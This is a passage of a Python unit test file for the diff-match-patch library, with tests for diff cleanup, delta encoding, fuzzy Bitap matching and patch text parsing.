		self.assertEqual([(self.dmp.DIFF_EQUAL, "abc")], diffs)

		# Merge deletions.
		diffs = [(self.dmp.DIFF_DELETE, "a"), (self.dmp.DIFF_DELETE, "b"), (self.dmp.DIFF_DELETE, "c")]
		self.dmp.diff_cleanupMerge(diffs)
		self.assertEqual([(self.dmp.DIFF_DELETE, "abc")], diffs)

		# Merge insertions.
		diffs = [(self.dmp.DIFF_INSERT, "a"), (self.dmp.DIFF_INSERT, "b"), (self.dmp.DIFF_INSERT, "c")]
		self.dmp.diff_cleanupMerge(diffs)
		self.assertEqual([(self.dmp.DIFF_INSERT, "abc")], diffs)

		# Merge interweave.
		diffs = [(self.dmp.DIFF_DELETE, "a"), (self.dmp.DIFF_INSERT, "b"), (self.dmp.DIFF_DELETE, "c"), (self.dmp.DIFF_INSERT, "d"), (self.dmp.DIFF_EQUAL, "e"), (self.dmp.DIFF_EQUAL, "f")]
		self.dmp.diff_cleanupMerge(diffs)
		self.assertEqual([(self.dmp.DIFF_DELETE, "ac"), (self.dmp.DIFF_INSERT, "bd"), (self.dmp.DIFF_EQUAL, "ef")], diffs)

		# Prefix and suffix detection.
		diffs = [(self.dmp.DIFF_DELETE, "a"), (self.dmp.DIFF_INSERT, "abc"), (self.dmp.DIFF_DELETE, "dc")]
		self.dmp.diff_cleanupMerge(diffs)
		self.assertEqual([(self.dmp.DIFF_EQUAL, "a"), (self.dmp.DIFF_DELETE, "d"), (self.dmp.DIFF_INSERT, "b"), (self.dmp.DIFF_EQUAL, "c")], diffs)

		# Prefix and suffix detection with equalities.
		diffs = [(self.dmp.DIFF_EQUAL, "x"), (self.dmp.DIFF_DELETE, "a"), (self.dmp.DIFF_INSERT, "abc"), (self.dmp.DIFF_DELETE, "dc"), (self.dmp.DIFF_EQUAL, "y")]
		self.dmp.diff_cleanupMerge(diffs)
		self.assertEqual([(self.dmp.DIFF_EQUAL, "xa"), (self.dmp.DIFF_DELETE, "d"), (self.dmp.DIFF_INSERT, "b"), (self.dmp.DIFF_EQUAL, "cy")], diffs)

		# Slide edit left.
		diffs = [(self.dmp.DIFF_EQUAL, "a"), (self.dmp.DIFF_INSERT, "ba"), (self.dmp.DIFF_EQUAL, "c")]
		self.dmp.diff_cleanupMerge(diffs)
		self.assertEqual([(self.dmp.DIFF_INSERT, "ab"), (self.dmp.DIFF_EQUAL, "ac")], diffs)

		# Slide edit right.
		diffs = [(self.dmp.DIFF_EQUAL, "c"), (self.dmp.DIFF_INSERT, "ab"), (self.dmp.DIFF_EQUAL, "a")]
		self.dmp.diff_cleanupMerge(diffs)
		self.assertEqual([(self.dmp.DIFF_EQUAL, "ca"), (self.dmp.DIFF_INSERT, "ba")], diffs)

		# Slide edit left recursive.
		diffs = [(self.dmp.DIFF_EQUAL, "a"), (self.dmp.DIFF_DELETE, "b"), (self.dmp.DIFF_EQUAL, "c"), (self.dmp.DIFF_DELETE, "ac"), (self.dmp.DIFF_EQUAL, "x")]
		self.dmp.diff_cleanupMerge(diffs)
		self.assertEqual([(self.dmp.DIFF_DELETE, "abc"), (self.dmp.DIFF_EQUAL, "acx")], diffs)

		# Slide edit right recursive.
		diffs = [(self.dmp.DIFF_EQUAL, "x"), (self.dmp.DIFF_DELETE, "ca"), (self.dmp.DIFF_EQUAL, "c"), (self.dmp.DIFF_DELETE, "b"), (self.dmp.DIFF_EQUAL, "a")]
		self.dmp.diff_cleanupMerge(diffs)
		self.assertEqual([(self.dmp.DIFF_EQUAL, "xca"), (self.dmp.DIFF_DELETE, "cba")], diffs)

	def testDiffCleanupSemanticLossless(self):
		# Slide diffs to match logical boundaries.
		# Null case.
		diffs = []
		self.dmp.diff_cleanupSemanticLossless(diffs)
		self.assertEqual([], diffs)

		# Blank lines.
		diffs = [(self.dmp.DIFF_EQUAL, "AAA\r\n\r\nBBB"), (self.dmp.DIFF_INSERT, "\r\nDDD\r\n\r\nBBB"), (self.dmp.DIFF_EQUAL, "\r\nEEE")]
		self.dmp.diff_cleanupSemanticLossless(diffs)
		self.assertEqual([(self.dmp.DIFF_EQUAL, "AAA\r\n\r\n"), (self.dmp.DIFF_INSERT, "BBB\r\nDDD\r\n\r\n"), (self.dmp.DIFF_EQUAL, "BBB\r\nEEE")], diffs)

		# Line boundaries.
		diffs = [(self.dmp.DIFF_EQUAL, "AAA\r\nBBB"), (self.dmp.DIFF_INSERT, " DDD\r\nBBB"), (self.dmp.DIFF_EQUAL, " EEE")]
		self.dmp.diff_cleanupSemanticLossless(diffs)
		self.assertEqual([(self.dmp.DIFF_EQUAL, "AAA\r\n"), (self.dmp.DIFF_INSERT, "BBB DDD\r\n"), (self.dmp.DIFF_EQUAL, "BBB EEE")], diffs)

		# Word boundaries.
		diffs = [(self.dmp.DIFF_EQUAL, "The c"), (self.dmp.DIFF_INSERT, "ow and the c"), (self.dmp.DIFF_EQUAL, "at.")]
		self.dmp.diff_cleanupSemanticLossless(diffs)
		self.assertEqual([(self.dmp.DIFF_EQUAL, "The "), (self.dmp.DIFF_INSERT, "cow and the "), (self.dmp.DIFF_EQUAL, "cat.")], diffs)

		# Alphanumeric boundaries.
		diffs = [(self.dmp.DIFF_EQUAL, "The-c"), (self.dmp.DIFF_INSERT, "ow-and-the-c"), (self.dmp.DIFF_EQUAL, "at.")]
		self.dmp.diff_cleanupSemanticLossless(diffs)
		self.assertEqual([(self.dmp.DIFF_EQUAL, "The-"), (self.dmp.DIFF_INSERT, "cow-and-the-"), (self.dmp.DIFF_EQUAL, "cat.")], diffs)

		# Hitting the start.
		diffs = [(self.dmp.DIFF_EQUAL, "a"), (self.dmp.DIFF_DELETE, "a"), (self.dmp.DIFF_EQUAL, "ax")]
		self.dmp.diff_cleanupSemanticLossless(diffs)
		self.assertEqual([(self.dmp.DIFF_DELETE, "a"), (self.dmp.DIFF_EQUAL, "aax")], diffs)

		# Hitting the end.
		diffs = [(self.dmp.DIFF_EQUAL, "xa"), (self.dmp.DIFF_DELETE, "a"), (self.dmp.DIFF_EQUAL, "a")]
		self.dmp.diff_cleanupSemanticLossless(diffs)
		self.assertEqual([(self.dmp.DIFF_EQUAL, "xaa"), (self.dmp.DIFF_DELETE, "a")], diffs)

		# Sentence boundaries.
		diffs = [(self.dmp.DIFF_EQUAL, "The xxx. The "), (self.dmp.DIFF_INSERT, "zzz. The "), (self.dmp.DIFF_EQUAL, "yyy.")]
		self.dmp.diff_cleanupSemanticLossless(diffs)
		self.assertEqual([(self.dmp.DIFF_EQUAL, "The xxx."), (self.dmp.DIFF_INSERT, " The zzz."), (self.dmp.DIFF_EQUAL, " The yyy.")], diffs)

	def testDiffCleanupSemantic(self):
		# Cleanup semantically trivial equalities.
		# Null case.
		diffs = []
		self.dmp.diff_cleanupSemantic(diffs)
		self.assertEqual([], diffs)

		# No elimination #1.
		diffs = [(self.dmp.DIFF_DELETE, "ab"), (self.dmp.DIFF_INSERT, "cd"), (self.dmp.DIFF_EQUAL, "12"), (self.dmp.DIFF_DELETE, "e")]
		self.dmp.diff_cleanupSemantic(diffs)
		self.assertEqual([(self.dmp.DIFF_DELETE, "ab"), (self.dmp.DIFF_INSERT, "cd"), (self.dmp.DIFF_EQUAL, "12"), (self.dmp.DIFF_DELETE, "e")], diffs)

		# No elimination #2.
		diffs = [(self.dmp.DIFF_DELETE, "abc"), (self.dmp.DIFF_INSERT, "ABC"), (self.dmp.DIFF_EQUAL, "1234"), (self.dmp.DIFF_DELETE, "wxyz")]
		self.dmp.diff_cleanupSemantic(diffs)
		self.assertEqual([(self.dmp.DIFF_DELETE, "abc"), (self.dmp.DIFF_INSERT, "ABC"), (self.dmp.DIFF_EQUAL, "1234"), (self.dmp.DIFF_DELETE, "wxyz")], diffs)

		# Simple elimination.
		diffs = [(self.dmp.DIFF_DELETE, "a"), (self.dmp.DIFF_EQUAL, "b"), (self.dmp.DIFF_DELETE, "c")]
		self.dmp.diff_cleanupSemantic(diffs)
		self.assertEqual([(self.dmp.DIFF_DELETE, "abc"), (self.dmp.DIFF_INSERT, "b")], diffs)

		# Backpass elimination.
		diffs = [(self.dmp.DIFF_DELETE, "ab"), (self.dmp.DIFF_EQUAL, "cd"), (self.dmp.DIFF_DELETE, "e"), (self.dmp.DIFF_EQUAL, "f"), (self.dmp.DIFF_INSERT, "g")]
		self.dmp.diff_cleanupSemantic(diffs)
		self.assertEqual([(self.dmp.DIFF_DELETE, "abcdef"), (self.dmp.DIFF_INSERT, "cdfg")], diffs)

		# Multiple eliminations.
		diffs = [(self.dmp.DIFF_INSERT, "1"), (self.dmp.DIFF_EQUAL, "A"), (self.dmp.DIFF_DELETE, "B"), (self.dmp.DIFF_INSERT, "2"), (self.dmp.DIFF_EQUAL, "_"), (self.dmp.DIFF_INSERT, "1"), (self.dmp.DIFF_EQUAL, "A"), (self.dmp.DIFF_DELETE, "B"), (self.dmp.DIFF_INSERT, "2")]
		self.dmp.diff_cleanupSemantic(diffs)
		self.assertEqual([(self.dmp.DIFF_DELETE, "AB_AB"), (self.dmp.DIFF_INSERT, "1A2_1A2")], diffs)

		# Word boundaries.
		diffs = [(self.dmp.DIFF_EQUAL, "The c"), (self.dmp.DIFF_DELETE, "ow and the c"), (self.dmp.DIFF_EQUAL, "at.")]
		self.dmp.diff_cleanupSemantic(diffs)
		self.assertEqual([(self.dmp.DIFF_EQUAL, "The "), (self.dmp.DIFF_DELETE, "cow and the "), (self.dmp.DIFF_EQUAL, "cat.")], diffs)

		# No overlap elimination.
		diffs = [(self.dmp.DIFF_DELETE, "abcxx"), (self.dmp.DIFF_INSERT, "xxdef")]
		self.dmp.diff_cleanupSemantic(diffs)
		self.assertEqual([(self.dmp.DIFF_DELETE, "abcxx"), (self.dmp.DIFF_INSERT, "xxdef")], diffs)

		# Overlap elimination.
		diffs = [(self.dmp.DIFF_DELETE, "abcxxx"), (self.dmp.DIFF_INSERT, "xxxdef")]
		self.dmp.diff_cleanupSemantic(diffs)
		self.assertEqual([(self.dmp.DIFF_DELETE, "abc"), (self.dmp.DIFF_EQUAL, "xxx"), (self.dmp.DIFF_INSERT, "def")], diffs)

		# Reverse overlap elimination.
		diffs = [(self.dmp.DIFF_DELETE, "xxxabc"), (self.dmp.DIFF_INSERT, "defxxx")]
		self.dmp.diff_cleanupSemantic(diffs)
		self.assertEqual([(self.dmp.DIFF_INSERT, "def"), (self.dmp.DIFF_EQUAL, "xxx"), (self.dmp.DIFF_DELETE, "abc")], diffs)

		# Two overlap eliminations.
		diffs = [(self.dmp.DIFF_DELETE, "abcd1212"), (self.dmp.DIFF_INSERT, "1212efghi"), (self.dmp.DIFF_EQUAL, "----"), (self.dmp.DIFF_DELETE, "A3"), (self.dmp.DIFF_INSERT, "3BC")]
		self.dmp.diff_cleanupSemantic(diffs)
		self.assertEqual([(self.dmp.DIFF_DELETE, "abcd"), (self.dmp.DIFF_EQUAL, "1212"), (self.dmp.DIFF_INSERT, "efghi"), (self.dmp.DIFF_EQUAL, "----"), (self.dmp.DIFF_DELETE, "A"), (self.dmp.DIFF_EQUAL, "3"), (self.dmp.DIFF_INSERT, "BC")], diffs)

	def testDiffCleanupEfficiency(self):
		# Cleanup operationally trivial equalities.
		self.dmp.Diff_EditCost = 4
		# Null case.
		diffs = []
		self.dmp.diff_cleanupEfficiency(diffs)
		self.assertEqual([], diffs)

		# No elimination.
		diffs = [(self.dmp.DIFF_DELETE, "ab"), (self.dmp.DIFF_INSERT, "12"), (self.dmp.DIFF_EQUAL, "wxyz"), (self.dmp.DIFF_DELETE, "cd"), (self.dmp.DIFF_INSERT, "34")]
		self.dmp.diff_cleanupEfficiency(diffs)
		self.assertEqual([(self.dmp.DIFF_DELETE, "ab"), (self.dmp.DIFF_INSERT, "12"), (self.dmp.DIFF_EQUAL, "wxyz"), (self.dmp.DIFF_DELETE, "cd"), (self.dmp.DIFF_INSERT, "34")], diffs)

		# Four-edit elimination.
		diffs = [(self.dmp.DIFF_DELETE, "ab"), (self.dmp.DIFF_INSERT, "12"), (self.dmp.DIFF_EQUAL, "xyz"), (self.dmp.DIFF_DELETE, "cd"), (self.dmp.DIFF_INSERT, "34")]
		self.dmp.diff_cleanupEfficiency(diffs)
		self.assertEqual([(self.dmp.DIFF_DELETE, "abxyzcd"), (self.dmp.DIFF_INSERT, "12xyz34")], diffs)

		# Three-edit elimination.
		diffs = [(self.dmp.DIFF_INSERT, "12"), (self.dmp.DIFF_EQUAL, "x"), (self.dmp.DIFF_DELETE, "cd"), (self.dmp.DIFF_INSERT, "34")]
		self.dmp.diff_cleanupEfficiency(diffs)
		self.assertEqual([(self.dmp.DIFF_DELETE, "xcd"), (self.dmp.DIFF_INSERT, "12x34")], diffs)

		# Backpass elimination.
		diffs = [(self.dmp.DIFF_DELETE, "ab"), (self.dmp.DIFF_INSERT, "12"), (self.dmp.DIFF_EQUAL, "xy"), (self.dmp.DIFF_INSERT, "34"), (self.dmp.DIFF_EQUAL, "z"), (self.dmp.DIFF_DELETE, "cd"), (self.dmp.DIFF_INSERT, "56")]
		self.dmp.diff_cleanupEfficiency(diffs)
		self.assertEqual([(self.dmp.DIFF_DELETE, "abxyzcd"), (self.dmp.DIFF_INSERT, "12xy34z56")], diffs)

		# High cost elimination.
		self.dmp.Diff_EditCost = 5
		diffs = [(self.dmp.DIFF_DELETE, "ab"), (self.dmp.DIFF_INSERT, "12"), (self.dmp.DIFF_EQUAL, "wxyz"), (self.dmp.DIFF_DELETE, "cd"), (self.dmp.DIFF_INSERT, "34")]
		self.dmp.diff_cleanupEfficiency(diffs)
		self.assertEqual([(self.dmp.DIFF_DELETE, "abwxyzcd"), (self.dmp.DIFF_INSERT, "12wxyz34")], diffs)
		self.dmp.Diff_EditCost = 4

	def testDiffPrettyHtml(self):
		# Pretty print.
		diffs = [(self.dmp.DIFF_EQUAL, "a\n"), (self.dmp.DIFF_DELETE, "<B>b</B>"), (self.dmp.DIFF_INSERT, "c&d")]
		self.assertEqual("<span>a&para;<br></span><del style=\"background:#ffe6e6;\">&lt;B&gt;b&lt;/B&gt;</del><ins style=\"background:#e6ffe6;\">c&amp;d</ins>", self.dmp.diff_prettyHtml(diffs))

	def testDiffText(self):
		# Compute the source and destination texts.
		diffs = [(self.dmp.DIFF_EQUAL, "jump"), (self.dmp.DIFF_DELETE, "s"), (self.dmp.DIFF_INSERT, "ed"), (self.dmp.DIFF_EQUAL, " over "), (self.dmp.DIFF_DELETE, "the"), (self.dmp.DIFF_INSERT, "a"), (self.dmp.DIFF_EQUAL, " lazy")]
		self.assertEqual("jumps over the lazy", self.dmp.diff_text1(diffs))

		self.assertEqual("jumped over a lazy", self.dmp.diff_text2(diffs))

	def testDiffDelta(self):
		# Convert a diff into delta string.
		diffs = [(self.dmp.DIFF_EQUAL, "jump"), (self.dmp.DIFF_DELETE, "s"), (self.dmp.DIFF_INSERT, "ed"), (self.dmp.DIFF_EQUAL, " over "), (self.dmp.DIFF_DELETE, "the"), (self.dmp.DIFF_INSERT, "a"), (self.dmp.DIFF_EQUAL, " lazy"), (self.dmp.DIFF_INSERT, "old dog")]
		text1 = self.dmp.diff_text1(diffs)
		self.assertEqual("jumps over the lazy", text1)

		delta = self.dmp.diff_toDelta(diffs)
		self.assertEqual("=4\t-1\t+ed\t=6\t-3\t+a\t=5\t+old dog", delta)

		# Convert delta string into a diff.
		self.assertEqual(diffs, self.dmp.diff_fromDelta(text1, delta))

		# Generates error (19 != 20).
		try:
			self.dmp.diff_fromDelta(text1 + "x", delta)
			self.assertFalse(True)
		except ValueError:
			# Exception expected.
			pass

		# Generates error (19 != 18).
		try:
			self.dmp.diff_fromDelta(text1[1:], delta)
			self.assertFalse(True)
		except ValueError:
			# Exception expected.
			pass

		# Generates error (%c3%xy invalid Unicode).
		# Note: Python 3 can decode this.
		#try:
		#  self.dmp.diff_fromDelta("", "+%c3xy")
		#  self.assertFalse(True)
		#except ValueError:
		#  # Exception expected.
		#  pass

		# Test deltas with special characters.
		diffs = [(self.dmp.DIFF_EQUAL, "\u0680 \x00 \t %"), (self.dmp.DIFF_DELETE, "\u0681 \x01 \n ^"), (self.dmp.DIFF_INSERT, "\u0682 \x02 \\ |")]
		text1 = self.dmp.diff_text1(diffs)
		self.assertEqual("\u0680 \x00 \t %\u0681 \x01 \n ^", text1)

		delta = self.dmp.diff_toDelta(diffs)
		self.assertEqual("=7\t-7\t+%DA%82 %02 %5C %7C", delta)

		# Convert delta string into a diff.
		self.assertEqual(diffs, self.dmp.diff_fromDelta(text1, delta))

		# Verify pool of unchanged characters.
		diffs = [(self.dmp.DIFF_INSERT, "A-Z a-z 0-9 - _ . ! ~ * ' ( ) ; / ? : @ & = + $ , # ")]
		text2 = self.dmp.diff_text2(diffs)
		self.assertEqual("A-Z a-z 0-9 - _ . ! ~ * \' ( ) ; / ? : @ & = + $ , # ", text2)

		delta = self.dmp.diff_toDelta(diffs)
		self.assertEqual("+A-Z a-z 0-9 - _ . ! ~ * \' ( ) ; / ? : @ & = + $ , # ", delta)

		# Convert delta string into a diff.
		self.assertEqual(diffs, self.dmp.diff_fromDelta("", delta))

	def testDiffXIndex(self):
		# Translate a location in text1 to text2.
		self.assertEqual(5, self.dmp.diff_xIndex([(self.dmp.DIFF_DELETE, "a"), (self.dmp.DIFF_INSERT, "1234"), (self.dmp.DIFF_EQUAL, "xyz")], 2))

		# Translation on deletion.
		self.assertEqual(1, self.dmp.diff_xIndex([(self.dmp.DIFF_EQUAL, "a"), (self.dmp.DIFF_DELETE, "1234"), (self.dmp.DIFF_EQUAL, "xyz")], 3))

	def testDiffLevenshtein(self):
		# Levenshtein with trailing equality.
		self.assertEqual(4, self.dmp.diff_levenshtein([(self.dmp.DIFF_DELETE, "abc"), (self.dmp.DIFF_INSERT, "1234"), (self.dmp.DIFF_EQUAL, "xyz")]))
		# Levenshtein with leading equality.
		self.assertEqual(4, self.dmp.diff_levenshtein([(self.dmp.DIFF_EQUAL, "xyz"), (self.dmp.DIFF_DELETE, "abc"), (self.dmp.DIFF_INSERT, "1234")]))
		# Levenshtein with middle equality.
		self.assertEqual(7, self.dmp.diff_levenshtein([(self.dmp.DIFF_DELETE, "abc"), (self.dmp.DIFF_EQUAL, "xyz"), (self.dmp.DIFF_INSERT, "1234")]))

	def testDiffBisect(self):
		# Normal.
		a = "cat"
		b = "map"
		# Since the resulting diff hasn't been normalized, it would be ok if
		# the insertion and deletion pairs are swapped.
		# If the order changes, tweak this test as required.
		self.assertEqual([(self.dmp.DIFF_DELETE, "c"), (self.dmp.DIFF_INSERT, "m"), (self.dmp.DIFF_EQUAL, "a"), (self.dmp.DIFF_DELETE, "t"), (self.dmp.DIFF_INSERT, "p")], self.dmp.diff_bisect(a, b, sys.maxsize))

		# Timeout.
		self.assertEqual([(self.dmp.DIFF_DELETE, "cat"), (self.dmp.DIFF_INSERT, "map")], self.dmp.diff_bisect(a, b, 0))

	def testDiffMain(self):
		# Perform a trivial diff.
		# Null case.
		self.assertEqual([], self.dmp.diff_main("", "", False))

		# Equality.
		self.assertEqual([(self.dmp.DIFF_EQUAL, "abc")], self.dmp.diff_main("abc", "abc", False))

		# Simple insertion.
		self.assertEqual([(self.dmp.DIFF_EQUAL, "ab"), (self.dmp.DIFF_INSERT, "123"), (self.dmp.DIFF_EQUAL, "c")], self.dmp.diff_main("abc", "ab123c", False))

		# Simple deletion.
		self.assertEqual([(self.dmp.DIFF_EQUAL, "a"), (self.dmp.DIFF_DELETE, "123"), (self.dmp.DIFF_EQUAL, "bc")], self.dmp.diff_main("a123bc", "abc", False))

		# Two insertions.
		self.assertEqual([(self.dmp.DIFF_EQUAL, "a"), (self.dmp.DIFF_INSERT, "123"), (self.dmp.DIFF_EQUAL, "b"), (self.dmp.DIFF_INSERT, "456"), (self.dmp.DIFF_EQUAL, "c")], self.dmp.diff_main("abc", "a123b456c", False))

		# Two deletions.
		self.assertEqual([(self.dmp.DIFF_EQUAL, "a"), (self.dmp.DIFF_DELETE, "123"), (self.dmp.DIFF_EQUAL, "b"), (self.dmp.DIFF_DELETE, "456"), (self.dmp.DIFF_EQUAL, "c")], self.dmp.diff_main("a123b456c", "abc", False))

		# Perform a real diff.
		# Switch off the timeout.
		self.dmp.Diff_Timeout = 0
		# Simple cases.
		self.assertEqual([(self.dmp.DIFF_DELETE, "a"), (self.dmp.DIFF_INSERT, "b")], self.dmp.diff_main("a", "b", False))

		self.assertEqual([(self.dmp.DIFF_DELETE, "Apple"), (self.dmp.DIFF_INSERT, "Banana"), (self.dmp.DIFF_EQUAL, "s are a"), (self.dmp.DIFF_INSERT, "lso"), (self.dmp.DIFF_EQUAL, " fruit.")], self.dmp.diff_main("Apples are a fruit.", "Bananas are also fruit.", False))

		self.assertEqual([(self.dmp.DIFF_DELETE, "a"), (self.dmp.DIFF_INSERT, "\u0680"), (self.dmp.DIFF_EQUAL, "x"), (self.dmp.DIFF_DELETE, "\t"), (self.dmp.DIFF_INSERT, "\x00")], self.dmp.diff_main("ax\t", "\u0680x\x00", False))

		# Overlaps.
		self.assertEqual([(self.dmp.DIFF_DELETE, "1"), (self.dmp.DIFF_EQUAL, "a"), (self.dmp.DIFF_DELETE, "y"), (self.dmp.DIFF_EQUAL, "b"), (self.dmp.DIFF_DELETE, "2"), (self.dmp.DIFF_INSERT, "xab")], self.dmp.diff_main("1ayb2", "abxab", False))

		self.assertEqual([(self.dmp.DIFF_INSERT, "xaxcx"), (self.dmp.DIFF_EQUAL, "abc"), (self.dmp.DIFF_DELETE, "y")], self.dmp.diff_main("abcy", "xaxcxabc", False))

		self.assertEqual([(self.dmp.DIFF_DELETE, "ABCD"), (self.dmp.DIFF_EQUAL, "a"), (self.dmp.DIFF_DELETE, "="), (self.dmp.DIFF_INSERT, "-"), (self.dmp.DIFF_EQUAL, "bcd"), (self.dmp.DIFF_DELETE, "="), (self.dmp.DIFF_INSERT, "-"), (self.dmp.DIFF_EQUAL, "efghijklmnopqrs"), (self.dmp.DIFF_DELETE, "EFGHIJKLMNOefg")], self.dmp.diff_main("ABCDa=bcd=efghijklmnopqrsEFGHIJKLMNOefg", "a-bcd-efghijklmnopqrs", False))

		# Large equality.
		self.assertEqual([(self.dmp.DIFF_INSERT, " "), (self.dmp.DIFF_EQUAL,"a"), (self.dmp.DIFF_INSERT,"nd"), (self.dmp.DIFF_EQUAL," [[Pennsylvania]]"), (self.dmp.DIFF_DELETE," and [[New")], self.dmp.diff_main("a [[Pennsylvania]] and [[New", " and [[Pennsylvania]]", False))

		# Timeout.
		self.dmp.Diff_Timeout = 0.1  # 100ms
		a = "`Twas brillig, and the slithy toves\nDid gyre and gimble in the wabe:\nAll mimsy were the borogoves,\nAnd the mome raths outgrabe.\n"
		b = "I am the very model of a modern major general,\nI've information vegetable, animal, and mineral,\nI know the kings of England, and I quote the fights historical,\nFrom Marathon to Waterloo, in order categorical.\n"
		# Increase the text lengths by 1024 times to ensure a timeout.
		for x in range(10):
			a = a + a
			b = b + b
		startTime = time.time()
		self.dmp.diff_main(a, b)
		endTime = time.time()
		# Test that we took at least the timeout period.
		self.assertTrue(self.dmp.Diff_Timeout <= endTime - startTime)
		# Test that we didn't take forever (be forgiving).
		# Theoretically this test could fail very occasionally if the
		# OS task swaps or locks up for a second at the wrong moment.
		self.assertTrue(self.dmp.Diff_Timeout * 2 > endTime - startTime)
		self.dmp.Diff_Timeout = 0

		# Test the linemode speedup.
		# Must be long to pass the 100 char cutoff.
		# Simple line-mode.
		a = "1234567890\n" * 13
		b = "abcdefghij\n" * 13
		self.assertEqual(self.dmp.diff_main(a, b, False), self.dmp.diff_main(a, b, True))

		# Single line-mode.
		a = "1234567890" * 13
		b = "abcdefghij" * 13
		self.assertEqual(self.dmp.diff_main(a, b, False), self.dmp.diff_main(a, b, True))

		# Overlap line-mode.
		a = "1234567890\n" * 13
		b = "abcdefghij\n1234567890\n1234567890\n1234567890\nabcdefghij\n1234567890\n1234567890\n1234567890\nabcdefghij\n1234567890\n1234567890\n1234567890\nabcdefghij\n"
		texts_linemode = self.diff_rebuildtexts(self.dmp.diff_main(a, b, True))
		texts_textmode = self.diff_rebuildtexts(self.dmp.diff_main(a, b, False))
		self.assertEqual(texts_textmode, texts_linemode)

		# Test null inputs.
		try:
			self.dmp.diff_main(None, None)
			self.assertFalse(True)
		except ValueError:
			# Exception expected.
			pass


class MatchTest(DiffMatchPatchTest):
	"""MATCH TEST FUNCTIONS"""

	def testMatchAlphabet(self):
		# Initialise the bitmasks for Bitap.
		self.assertEqual({"a":4, "b":2, "c":1}, self.dmp.match_alphabet("abc"))

		self.assertEqual({"a":37, "b":18, "c":8}, self.dmp.match_alphabet("abcaba"))

	def testMatchBitap(self):
		self.dmp.Match_Distance = 100
		self.dmp.Match_Threshold = 0.5
		# Exact matches.
		self.assertEqual(5, self.dmp.match_bitap("abcdefghijk", "fgh", 5))

		self.assertEqual(5, self.dmp.match_bitap("abcdefghijk", "fgh", 0))

		# Fuzzy matches.
		self.assertEqual(4, self.dmp.match_bitap("abcdefghijk", "efxhi", 0))

		self.assertEqual(2, self.dmp.match_bitap("abcdefghijk", "cdefxyhijk", 5))

		self.assertEqual(-1, self.dmp.match_bitap("abcdefghijk", "bxy", 1))

		# Overflow.
		self.assertEqual(2, self.dmp.match_bitap("123456789xx0", "3456789x0", 2))

		self.assertEqual(0, self.dmp.match_bitap("abcdef", "xxabc", 4))

		self.assertEqual(3, self.dmp.match_bitap("abcdef", "defyy", 4))

		self.assertEqual(0, self.dmp.match_bitap("abcdef", "xabcdefy", 0))

		# Threshold test.
		self.dmp.Match_Threshold = 0.4
		self.assertEqual(4, self.dmp.match_bitap("abcdefghijk", "efxyhi", 1))

		self.dmp.Match_Threshold = 0.3
		self.assertEqual(-1, self.dmp.match_bitap("abcdefghijk", "efxyhi", 1))

		self.dmp.Match_Threshold = 0.0
		self.assertEqual(1, self.dmp.match_bitap("abcdefghijk", "bcdef", 1))
		self.dmp.Match_Threshold = 0.5

		# Multiple select.
		self.assertEqual(0, self.dmp.match_bitap("abcdexyzabcde", "abccde", 3))

		self.assertEqual(8, self.dmp.match_bitap("abcdexyzabcde", "abccde", 5))

		# Distance test.
		self.dmp.Match_Distance = 10  # Strict location.
		self.assertEqual(-1, self.dmp.match_bitap("abcdefghijklmnopqrstuvwxyz", "abcdefg", 24))

		self.assertEqual(0, self.dmp.match_bitap("abcdefghijklmnopqrstuvwxyz", "abcdxxefg", 1))

		self.dmp.Match_Distance = 1000  # Loose location.
		self.assertEqual(0, self.dmp.match_bitap("abcdefghijklmnopqrstuvwxyz", "abcdefg", 24))


	def testMatchMain(self):
		# Full match.
		# Shortcut matches.
		self.assertEqual(0, self.dmp.match_main("abcdef", "abcdef", 1000))

		self.assertEqual(-1, self.dmp.match_main("", "abcdef", 1))

		self.assertEqual(3, self.dmp.match_main("abcdef", "", 3))

		self.assertEqual(3, self.dmp.match_main("abcdef", "de", 3))

		self.assertEqual(3, self.dmp.match_main("abcdef", "defy", 4))

		self.assertEqual(0, self.dmp.match_main("abcdef", "abcdefy", 0))

		# Complex match.
		self.dmp.Match_Threshold = 0.7
		self.assertEqual(4, self.dmp.match_main("I am the very model of a modern major general.", " that berry ", 5))
		self.dmp.Match_Threshold = 0.5

		# Test null inputs.
		try:
			self.dmp.match_main(None, None, 0)
			self.assertFalse(True)
		except ValueError:
			# Exception expected.
			pass


class PatchTest(DiffMatchPatchTest):
	"""PATCH TEST FUNCTIONS"""

	def testPatchObj(self):
		# Patch Object.
		p = dmp_module.patch_obj()
		p.start1 = 20
		p.start2 = 21
		p.length1 = 18
		p.length2 = 17
		p.diffs = [(self.dmp.DIFF_EQUAL, "jump"), (self.dmp.DIFF_DELETE, "s"), (self.dmp.DIFF_INSERT, "ed"), (self.dmp.DIFF_EQUAL, " over "), (self.dmp.DIFF_DELETE, "the"), (self.dmp.DIFF_INSERT, "a"), (self.dmp.DIFF_EQUAL, "\nlaz")]
		strp = str(p)
		self.assertEqual("@@ -21,18 +22,17 @@\n jump\n-s\n+ed\n  over \n-the\n+a\n %0Alaz\n", strp)

	def testPatchFromText(self):
		self.assertEqual([], self.dmp.patch_fromText(""))

		strp = "@@ -21,18 +22,17 @@\n jump\n-s\n+ed\n  over \n-the\n+a\n %0Alaz\n"
		self.assertEqual(strp, str(self.dmp.patch_fromText(strp)[0]))

		self.assertEqual("@@ -1 +1 @@\n-a\n+b\n", str(self.dmp.patch_fromText("@@ -1 +1 @@\n-a\n+b\n")[0]))

		self.assertEqual("@@ -1,3 +0,0 @@\n-abc\n", str(self.dmp.patch_fromText("@@ -1,3 +0,0 @@\n-abc\n")[0]))

		self.assertEqual("@@ -0,0 +1,3 @@\n+abc\n", str(self.dmp.patch_fromText("@@ -0,0 +1,3 @@\n+abc\n")[0]))

		# Generates error.
		try:
			self.dmp.patch_fromText("Bad\nPatch\n")
			self.assertFalse(True)
		except ValueError:
			# Exception expected.
			pass

	def testPatchToText(self):
		strp = "@@ -21,18 +22,17 @@\n jump\n-s\n+ed\n  over \n-the\n+a\n  laz\n"
		p = self.dmp.patch_fromText(strp)
		self.assertEqual(strp, self.dmp.patch_toText(p))

		strp = "@@ -1,9 +1,9 @@\n-f\n+F\n oo+fooba\n@@ -7,9 +7,9 @@\n obar\n-,\n+.\n tes\n"
		p = self.dmp.patch_fromText(strp)
		self.assertEqual(strp, self.dmp.patch_toText(p))

	def testPatchAddContext(self):
		self.dmp.Patch_Margin = 4
		p = self.dmp.patch_fromText("@@ -21,4 +21,10 @@\n-jump\n+somersault\n")[0]
		self.dmp.patch_addContext(p, "The quick brown fox jumps over the lazy dog.")
		self.assertEqual("@@ -17,12 +17,18 @@\n fox \n-jump\n+somersault\n s ov\n", str(p))

		# Same, but not enough trailing context.
